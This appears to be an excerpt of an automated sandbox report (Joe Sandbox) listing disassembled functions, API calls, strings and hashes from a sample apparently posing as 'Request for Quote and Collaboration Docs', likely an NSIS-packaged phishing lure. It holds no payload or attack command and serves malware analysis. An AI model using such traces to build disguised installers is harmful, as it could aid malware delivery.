Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 40d8ee56fed0ff9bd7faebda229d010c99ca55f69e8b7427a9ca7d215ef8d0f7
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
EnableWindow.USER32(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: bcef63d1befa62095ffb28f8decf7ccef4978ac163dab3c6641283cf9af83911
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 004038B4 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800,76233420,00000000,00434000), ref: 00403935
lstrlenW.KERNEL32(00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,00436800), ref: 004039B5
lstrcmpiW.KERNEL32(00427178,.exe,00427180,?,?,?,00427180,00000000,00434800,00436000,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(00427180), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNEL32(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

RichEd20, xrefs: 00403AE8
RichEdit20W, xrefs: 00403B00, 00403B06
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
.DEFAULT\Control Panel\International, xrefs: 00403920
_Nb, xrefs: 00403A38, 00403AA0
.exe, xrefs: 004039C2
RichEdit, xrefs: 00403B0F
RichEd32, xrefs: 00403AF3

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1115850852
Opcode ID: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: d0fa4835c9c244ef81a80b769fa25e5675a0a47ce1ec59f3ecf61db25a6a7c64
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 004042CC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

open, xrefs: 004044DB
N, xrefs: 00404468
CB@, xrefs: 004044D8

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$N$open
API String ID: 3615053054-4029390422
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

p]B, xrefs: 00405C0D
NUL, xrefs: 00405C12
%ls=%ls, xrefs: 00405C76
[Rename], xrefs: 00405CEA, 00405CFC
peB, xrefs: 00405C57

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c8f8921d5db17dcea38d37436245cad2ed6acf29c8dc53bbb3a8225ee1bc969
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 004045CA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(00427180,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,00427180), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,76233420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 7bae5448d950fa7fc9b780a264b0000045a755fe0574635acf906d6e28ab15ff
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

soft, xrefs: 00402EAC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Null, xrefs: 00402EB5
Error launching installer, xrefs: 00402E0C
Inst, xrefs: 00402EA3

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00405F0C Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(00427180,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(00427180,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,00427180), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(00427180,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(00427180,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 6742d19b0b1c5090879c3cfba661a75a2238e305d4f85b0b169f5eea2b4c5ff0
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNEL32(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

